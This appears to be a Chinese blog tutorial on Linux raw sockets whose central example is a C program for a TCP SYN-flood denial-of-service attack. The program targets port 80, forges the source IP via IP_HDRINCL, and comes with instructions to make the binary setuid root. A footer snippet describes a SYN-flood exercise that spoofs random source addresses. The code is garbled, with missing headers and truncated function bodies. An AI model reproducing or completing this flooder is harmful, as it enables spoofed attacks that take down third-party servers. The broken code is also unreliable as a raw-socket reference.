九 原始套接字

2021-09-08 20:49:25 字數 2178 閱讀 5588

函式原型:

int sockfd(af_inet,sock_raw,protocol);

可以建立乙個原始套接字,根據協議的型別不同我們可以建立不同型別的原始套接字,比如:ipproto_icmp,ipproto_tcp,ipproto_udp等等。

下面我們以乙個例項來說明原始套接字的建立和使用:

#include #include 

#include

#include

#include

#include

#include

#include

in.h>#include

#include

#define destport 80 /* 要攻擊的埠(web) */

#define localport 8888

void send_tcp(int sockfd, struct sockaddr_in *addr);

unsigned

short check_sum(unsigned short *addr, int

len);

int main(int argc, char **ar**)

bzero(&addr, sizeof(struct

sockaddr_in));

addr.sin_family =af_inet;

addr.sin_port =htons(destport);

if (inet_aton(ar**[1], &addr.sin_addr) == 0

)

addr.sin_addr = *(struct in_addr *)(host->h_addr_list[0

]); }

/**** 使用ipproto_tcp建立乙個tcp的原始套接字 ***

*/sockfd =socket(af_inet, sock_raw, ipproto_tcp);

if (sockfd<0

)

/******** 設定ip資料報格式,告訴系統核心模組ip資料報由我們自己來填寫 **

*/setsockopt(sockfd, ipproto_ip, ip_hdrincl, &on, sizeof

(on));

/**** 沒有辦法,只用超級護使用者才可以使用原始套接字 ********

*/setuid(getpid());

/********* 傳送炸彈了!!!! ***

*/send_tcp(sockfd, &addr);}/*

****** 傳送炸彈的實現 ********

*/void send_tcp(int sockfd, struct sockaddr_in *addr)}/*

下面是首部校驗和的演算法,偷了別人的

*/unsigned

short check_sum(unsigned short *addr, int

len)

if (nleft == 1

)

sum = (sum >> 16) + (sum & 0xffff

); sum += (sum >> 16

); answer = ~sum;

return

(answer);

}

編譯一下,拿localhost做一下實驗,看看有什麼結果?(千萬不要試別人的啊)為了讓普通使用者可以執行這個程式。

我們應該將這個程式的所有者變為root,且設定setuid位

[root@hoyt /root]#chown root dos

[root@hoyt /root]#chmod +s dos

原始套接字和一般的套接字不同的是以前許多由系統做的事情,,現在要由我們自己來做了。不過這裡面是不是有很多的樂趣呢?

當我們建立了乙個 tcp套接字的時候,我們只是負責把我們要傳送的內容(buffer)傳遞給了系統。 系統在收到我們的資料後,會自動的呼叫相應的模組給資料加上tcp 頭部,然後加上ip頭部, 再傳送出去。而現在是我們自己建立各個的頭部,系統只是把它們傳送出去。在上面的例項中,由於我們要修改我們的源ip位址, 所以我們使用了setsockopt函式,如果我們只是修改tcp資料,那麼ip資料一樣也可以由系統來建立的。

原始套接字

資料出處 實際上,我們常用的網路程式設計都是在應用層的報文的收發操作,也就是大多數程式設計師接觸到的流式套接字 sock stream 和資料報式套接字 sock dgram 而這些資料報都是由系統提供的協議棧實現,使用者只需要填充應用層報文即可,由系統完成底層報文頭的填充並傳送。然而在某些情況下需...

原始套接字

參考1 原始套接字能幹什麼?參考2 原始套接字抓包實踐 參考3 各層頭結構 通過原始套接字,我們可以抓取所有傳送到本機的ip包 包括ip頭和tcp udp icmp包頭 也可以抓取所有本機收到的幀 包括資料鏈路層協議頭 普通的套接字無法處理icmp igmp等網路報文,而sock raw可以。利用原...

原始套接字

利用原始套接字實現乙個tcp syn flooding 程式 要求 客戶端不斷向攻擊端傳送syn連線請求 客戶端在傳送資料時,通過源位址隨機位址的方式隱藏自己的 位址 檢驗 在shell下通過 netstat tn 檢查syn recv連線數檢驗自己的程式是否成功 好像有點問題。不能偽造mac位址。...